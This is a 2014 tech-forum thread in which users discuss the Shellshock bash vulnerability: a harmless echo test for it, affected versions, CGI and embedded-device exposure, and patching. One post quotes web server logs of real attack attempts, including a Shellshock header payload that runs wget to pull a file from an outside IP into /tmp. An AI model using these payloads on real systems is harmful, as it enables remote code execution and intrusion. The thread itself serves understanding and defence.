Register a SA Forums Account here!
JOINING THE SA FORUMS WILL REMOVE THIS BIG AD, THE ANNOYING UNDERLINED ADS, AND STUPID INTERSTITIAL ADS!!!

You can: log in, read the tech support FAQ, or request your lost password. This dumb message (and those ads) will appear on every screen until you register! Get rid of this crap by registering your own SA Forums Account and joining roughly 150,000 Goons, for the one-time price of $9.95! We charge money because it costs us $3,400 per month for bandwidth bills alone, and since we don't believe in shoving popup ads to our registered users, we try to make the money back through forum registrations.
«3 »
  • Locked thread
Michaellaneous
Oct 30, 2013



Hold onto your groins, after HeartBleed we get a new bleed that allows someone to execute malicious code in linux enviromental. This also works through CGI scripts on web-servers since they can write into your env variables at will.

To check if your system is vunerable simply post this code...

code:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
...into your console. Ubuntu already put out a patch. So patch your systems asap.
This also affects Mac systems, just fyi.

e: Some sources

https://access.redhat.com/articles/1200223
http://blog.erratasec.com/2014/09/b...heartbleed.html

e: Update
Patches that have been issued still do not fix the issue completely. Companies panicing. Mass hysteria. Worse than HeartBleed. Stay safe.

Michaellaneous fucked around with this message at Sep 25, 2014 around 20:17

Adbot
ADBOT LOVES YOU

Nam Taf
Jun 25, 2005

I am Fat Man, hear me roar!



Shellshock is a better name fyi.

FreeBSD is not affected as it doesn't bundle bash.
XBMC is vulnerable because it does.
Windows is not vulnerable except if you have github for windows installed, because git bash is.

ukle
Nov 28, 2005


Note all the current fixes released do not fully fix the issue.

https://twitter.com/taviso/status/514887394294652929

Further fixes are coming later today (at least from Ubuntu and Redhat who have both commented on this further exploit).

Jik Waffleson
Jul 30, 2012


If I wasn't a moron and don't have shell based CGI scripts, and don't have PHP or whatever scripts that use unsanitized input to exec a shell, there's really no remote vulnerability, right?

I know there is a OpenSSH vector with ForceCommand, but I don't use that either.

ukle
Nov 28, 2005


Do you have any embedded devices that have a web front end? Then you are likely vulnerable.

Web server side of things shouldn't be that bad, as most people don't have CGI scripts on a normal website. Where it is bad is CPanel, Plesk, etc - they are all vulnerable so a lot of shared hosting servers are at risk.

Cpanel are saying they have tested and aren't vulnerable to it, which is good hope its the case for the rest.

Edit: just reading that in fact its not just a theoretical risk with just PHP, all web application languages are vulnerable e.g. NodeJs, Django, etc. Would imagine there are lots of people having a field day exploiting this, especially given a proper fix might be a while coming.

ukle fucked around with this message at Sep 25, 2014 around 13:34

Leavy
Feb 15, 2003


From what I understand so far, "typical" installations of Apache/PHP where there's no use of CGI, and the apache module is disabled, are not affected.

However, if you use something like Apache/Nginx + php-fpm which does invoke CGI, then you may be at risk (haven't tested yet, just speculating from all I've read so far)

What I don't really understand is how something like this managed to remain unknown for so long until yesterday. I'm not real big into bash scripting, but once one would understand that a) commands are executed when declared after a function definition in an env var, and b) most CGI implementations throw web parameters into env vars, then you could put 1 and 1 together to realize the exploit.

Was it that point "a" from above was pretty much unknown until yesterday?

xov
Nov 14, 2005

DNA Ts. Rednum or F. Raf


Might want to put "ShellShock" in the subject too; that's how most articles I'm seeing are referencing it.

MSP helpdesk here - we are pretty much at the mercy of 3rd parties to release patches for poo poo. SonicWalls, Asterisk, things like that. I'm sure there's a ton of other poo poo I haven't thought of like NAS devices that are probably vulnerable, but I'll lose my poo poo if I find any of those are open to the external web at any of my clients.

I feel a bit of urgency to put all of my engineers on alert to watch for patches. Do we really think it's feasible that some type of worm/bot will quickly propagate that will be scanning everything it can find and branch out a la Blaster worm?

Yes, probably.

/coffee

gallop w/a boner
Aug 16, 2002



Hell Gem

Michaellaneous posted:



code:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"


Stupud question, but what should this output if the system is vulnerable/not vulnerable?

Cenodoxus
Mar 29, 2012

while [[ true ]] ; do
    pour()
done

gallop w/a boner posted:

Stupud question, but what should this output if the system is vulnerable/not vulnerable?
Per Red Hat:

This means vulnerable
code:
$ env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"
vulnerable
this is a test
This means not vulnerable
code:
$ env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

ukle
Nov 28, 2005


gallop w/a boner posted:

Stupud question, but what should this output if the system is vulnerable/not vulnerable?

For Vulnerable
Vulnerable
this is a test

None Vulnerable
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

^beaten

Remember this is only testing the original fix, its not testing the wider problem which isn't fixed at all yet.

fart blood
Sep 13, 2008



Dumb question: how does this affect regular computer users?

Also: if I'm running Mac OS X on my home computer, how would I patch that?

evol262
Nov 30, 2010
#!/usr/bin/perl

fart blood posted:

Dumb question: how does this affect regular computer users?

Also: if I'm running Mac OS X on my home computer, how would I patch that?

It doesn't affect "regular" users. It also doesn't affect a lot of public services. It could affect anything that shells out for any reason (bad/old CGI stuff, system() in php, restricted logins for git users, dhcp scripts, vpn logon scripts).

Apple is historically terrible about patching this stuff. I'd probably just grab bash from brew and replace /bin/bash in /etc/shells with /usr/local/bin/bash. Or just copy over the binary

ukle
Nov 28, 2005


Evidence that its already being exploited -

http://www.kernelmode.info/forum/vi...6&t=3505#p23987

Patch ASAP. Note that exact malware is exploiting the same flaw in Busybox, to take over routers to be DDoS bots.

ukle fucked around with this message at Sep 25, 2014 around 15:34

hifi
Jul 25, 2012



Nam Taf posted:

FreeBSD is not affected as it doesn't bundle bash.


This is incorrect, it's vulnerable if you have bash installed. See here for vulnerable versions.

Fat Dallas
Mar 11, 2009


Saw this on the news last night.

The talking heads said "malware in the l-eye-nix computer system could allow hackers to take over your computer! This affects all computers running the bash program and mac computers."

After I finished laughing at how fear-based and uninformed the report was, and confirmed that my systems were affected, I patched my entire infrastructure (~200 machines) in about 5 minutes, thanks to Puppet.


Edit: adding to the conversation

This vulnerability only affects the following version of BASH:

bash-4.2.45-5.el7_0.2
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_4.1
bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-24.el5_6.1
bash-3.2-32.el5_9.2
bash-3.0-27.el4.2

Fat Dallas fucked around with this message at Sep 25, 2014 around 17:04

alo
May 1, 2005
a mere salesman

Hair Elf

Fat Dallas posted:

This vulnerability only affects the following version of BASH:

bash-4.2.45-5.el7_0.2
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_4.1
bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-24.el5_6.1
bash-3.2-32.el5_9.2
bash-3.0-27.el4.2

And uh... everything earlier too.

ukle
Nov 28, 2005


It also affects Busybox as well, which is where the first seen in the wild use of this exploit was found.

Remember as well that the exploit still isn't fully patched, although hopefully that 'final' fix is probably due any time now.

Fat Dallas
Mar 11, 2009


alo posted:

And uh... everything earlier too.

Fair point... But if you're running anything earlier than v.3.0, then you have bigger problems.

alo
May 1, 2005
a mere salesman

Hair Elf

ukle posted:

It also affects Busybox as well, which is where the first seen in the wild use of this exploit was found.

I don't believe this is true (I hope).

Fat Dallas posted:

Fair point... But if you're running anything earlier than v.3.0, then you have bigger problems.

Which is why this is kind of a big thing in the long term for older appliances that will never see anything newer than bash 2.95. A lot of older appliances that are connected to the Internet are just going to keep connecting to botnets until their power supplies die.

The heartbleed vulnerability was limited to a 2 year window. Almost every appliance affected was still vendor supported.

Mniot
May 22, 2003
Not the one you know

Fat Dallas posted:

This vulnerability only affects the following version of BASH:

bash-4.2.45-5.el7_0.2
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_4.1
bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-24.el5_6.1
bash-3.2-32.el5_9.2
bash-3.0-27.el4.2

NVD says 4.3 is affected, too

Michaellaneous
Oct 30, 2013



Thanks to the mod renaming the title. BashBleed was the name I heard about it, didn't know they had a second name for it as well.

Also, Red Hat has stated that most of the patches that are being spread now still do not fully protect against ShellShock.

I will try to keep you guys informed and read some more news, but currently we seem to be stuck at "This is literally the worst thing ever!"

Technogeek
Sep 9, 2002

by FactsAreUseless


alo posted:

I don't believe this is true (I hope).

Pretty sure it isn't. Busybox uses the Almquist shell, which from my personal testing doesn't appear to be vulnerable.

evol262
Nov 30, 2010
#!/usr/bin/perl

Michaellaneous posted:

Thanks to the mod renaming the title. BashBleed was the name I heard about it, didn't know they had a second name for it as well.

Also, Red Hat has stated that most of the patches that are being spread now still do not fully protect against ShellShock.

I will try to keep you guys informed and read some more news, but currently we seem to be stuck at "This is literally the worst thing ever!"

Mostly because CGI is awful. The original patch fully covered "ShellShock". The "Shock" part now is how disturbingly fragile the readline/parsing code is, how fragile redirection can be, how any tiny change in behavior can break large areas, and how bad the security is all over the place once people start looking for it. They're plugging vulnerabilities. They're just finding more while they do it.

Technogeek posted:

Pretty sure it isn't. Busybox uses the Almquist shell, which from my personal testing doesn't appear to be vulnerable.

*by default

There is no reason why busybox couldn't be using bash, and a number of busybox spins are.

Digitalpope
Feb 12, 2007



I'm just glad that our stuff is all behind SSH...pipe what little bash stuff we do over tunnels. If they're inside that perimeter, we're already hosed.

evol262
Nov 30, 2010
#!/usr/bin/perl

Digitalpope posted:

I'm just glad that our stuff is all behind SSH...pipe what little bash stuff we do over tunnels. If they're inside that perimeter, we're already hosed.

Bash isn't remote anyway.

This vulnerability is basically a few things:

CGI calls for metavariables. These are almost always done as environment variables. FastCGI and other app servers avoid this in different ways, but anything that's plain CGI which calls out to system() or a shell, ever, is vulnerable.

DHCP client scripts. But if someone gets a rogue DHCP server, you have bigger problems anyway.

Things which rely on any shell feature for security. Git frontend software which allows SSH as your user but isn't nologin, then uses the shell in any way. Gitolite and gitlab were both affected, through SSH.

Embedded systems, appliances, or things you don't control (xenserver, aws, firewall appliances, some storage appliances, etc) which are subject to the same CGI/other vulnerabilities.

Almost everything eventually hits the system somewhere. Probably standard system utilities, probably by invoking a shell. If you've written your stack from the bottom up to only use glibc/ioctls/whatever instead of re-using system utilities, you're probably ok. If you have a public-facing service using a dynamic language anywhere, you may be in trouble.

alo
May 1, 2005
a mere salesman

Hair Elf

Debian has released a package (for stable).

https://security-tracker.debian.org...r/CVE-2014-7169

CuddleChunks
Sep 18, 2004



Brought this to the attention of my sysadmins today.

"Oh gently caress!"


It's going to be interesting to figure out how to patch all this poo poo. The fact that BusyBox is using a bash shell under the hood is a serious nightmare because there are TONS of embedded systems that are now horked.

xarph
Jun 18, 2001

The rules of the game are impenetrable and the result is always contested.

Exciting Lemon

Ubuntu patches are out.

http://people.canonical.com/~ubuntu...-2014-7169.html

I'm waiting on redhat for our shop.

Kazinsal
Dec 13, 2011



CuddleChunks posted:

The fact that BusyBox is using a bash shell under the hood is a serious nightmare because there are TONS of embedded systems that are now horked.

Unless it's a default spin of busybox which Technogeek above pointed out uses ash.


Gah, thank gently caress. Any idea if it's propagated to Xubuntu et al?

MrMoo
Sep 14, 2000



What is the coverage on web servers being affected? All the news articles are a little vague on protecting against the attack. I already have examples in my lighty logs

lighty posted:

209.126.230.72 - - [24/Sep/2014:18:39:52 -0400] "GET / HTTP/1.0" 400 349 "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-s
can-of-internet.html)" "() { :; }; ping -c 11 209.126.230.74"
89.207.135.125 - - [25/Sep/2014:07:12:27 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 345 "() { :;}; /bin/ping -c 1 198.101.206.138"
"-"
184.95.45.61 - - [25/Sep/2014:10:09:56 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 345 "() { :;}; /bin/bash -c "wget http://91.207.2
54.60/.../bBb -O /tmp/bBb"" "-"

OneEightHundred
Feb 28, 2008

Soon, we will be unstoppable!


Soon, the entire Internet will be mining Bitcoins.

evol262 posted:

CGI calls for metavariables. These are almost always done as environment variables. FastCGI and other app servers avoid this in different ways, but anything that's plain CGI which calls out to system() or a shell, ever, is vulnerable.
Why even do this instead of calling setenv?

evol262
Nov 30, 2010
#!/usr/bin/perl

MrMoo posted:

What is the coverage on web servers being affected? All the news articles are a little vague on protecting against the attack. I already have examples in my lighty logs

If you use traditional CGI, you have problems.

xarph posted:

Ubuntu patches are out.

http://people.canonical.com/~ubuntu...-2014-7169.html

I'm waiting on redhat for our shop.

These are not a complete fix and canonical knows it. There is ongoing public discussion about how to mitigate more problems, and we (red hat) are waiting for it. Which sucks, for us (as a company), for you, and for me (since I'm responsible for rhel-guest-images and I don't want to be building and testing 4 images at midnight on a Thursday.

Scaramouche
Mar 26, 2001

SPACE FACE! SPACE FACE!

There was some talk that GitHub Bash on Windows was vulnerable, (as 'vulnerable' as anything is) which is apparently true:
http://security.stackexchange.com/q...-it-do-any-harm

But a later comment by one of the GitHub for Windows developers says that it can't really be exploited.

evol262
Nov 30, 2010
#!/usr/bin/perl

OneEightHundred posted:

Soon, the entire Internet will be mining Bitcoins.

Why even do this instead of calling setenv?

setenv where?

By the time you can setenv, the environment has already been parsed and you're dead.

They're passed that way because it's trivial for applications to read there environment and it hasn't been a security problem so far. Reworking CGI handling to deal with a shell problem is unlikely, and the webserver can't be expected to know what headers/variables may be malicious.

The problem isn't in the way the variables are passed, but bash. And there's no good way to change it without reworking a metric ton of legacy code that expects environment variables. It's no-win.

OneEightHundred
Feb 28, 2008

Soon, we will be unstoppable!


evol262 posted:

setenv where?

By the time you can setenv, the environment has already been parsed and you're dead.
I guess I'm not really grasping how this works. I was under the impression this required setting environment variables through a call to the shell like system(), which using something like setenv would avoid, or is that not true?

MrMoo
Sep 14, 2000



evol262 posted:

If you use traditional CGI, you have problems.

Does that include fast-cgi with only PHP?

evol262
Nov 30, 2010
#!/usr/bin/perl

MrMoo posted:

Does that include fast-cgi with only PHP?

Fastcgi is safe, AFAIK

OneEightHundred posted:

I guess I'm not really grasping how this works. I was under the impression this required setting environment variables through a call to the shell like system(), which using something like setenv would avoid, or is that not true?

No. When the CGI script is invoked, the metavars from the webserver are already set as environment variables.

Child processes (including system()) inherit the parent's environ.

So CGI calls php. PHP pulls whatever out of the environment. It calls system() to do whatever. Shell is invoked. Shell gets environment. Shell executes BAD_VAR=...

Headers added with curl (or whatever) will pass through, which is how this works

Applebees
Jul 23, 2013


Kazinsal posted:

Gah, thank gently caress. Any idea if it's propagated to Xubuntu et al?

The Ubuntu flavours use the same repositories.

OneEightHundred
Feb 28, 2008

Soon, we will be unstoppable!


Random thought: Might this (and Heartbleed) be a counterpoint to the idea of security through obscurity being bad, since something like this happening on a closed platform would probably have been either quietly patched out during a maintenance update or patched out as a completely non-specific vulnerability instead of being announced to the whole world with instructions on day zero?

Adbot
ADBOT LOVES YOU

evol262
Nov 30, 2010
#!/usr/bin/perl

OneEightHundred posted:

Random thought: Might this (and Heartbleed) be a counterpoint to the idea of security through obscurity being bad, since something like this happening on a closed platform would probably have been either quietly patched out during a maintenance update or patched out as a completely non-specific vulnerability instead of being announced to the whole world with instructions on day zero?

It wasn't announced on day zero.

Heartbleed didn't go through responsible disclosure because of multiple independent discoveries. This did. The problem here is that publicizing it (after releasing patches and packages) got people to realize it was an incomplete fix by experimenting with similar tests, which is just as likely to happen to closed-source software.

The problem isn't so much "through obscurity" as "almost nobody actually looks at this code and the people who do tend to miss it because they're so familiar with it that they don't have fresh eyes or they're looking to fix an unrelated bug, not security problems."

This is why code review matters. This is why you shouldn't just trust any software. Open source software isn't infallible, but it's like the bystander problem -- everyone assumes someone else is doing it. Almost all the bugs I get come from our QE team, not users. 99% of patches come from people with @someproject (redhat, canonical, Intel, IBM, depending on the codebase), not @gmail or @yourcompany

You can contribute, test, and read the code. You probably don't. That's OK. But nobody else is either, besides the developers, and that's the same paradigm as Microsoft.

  • Locked thread
«3 »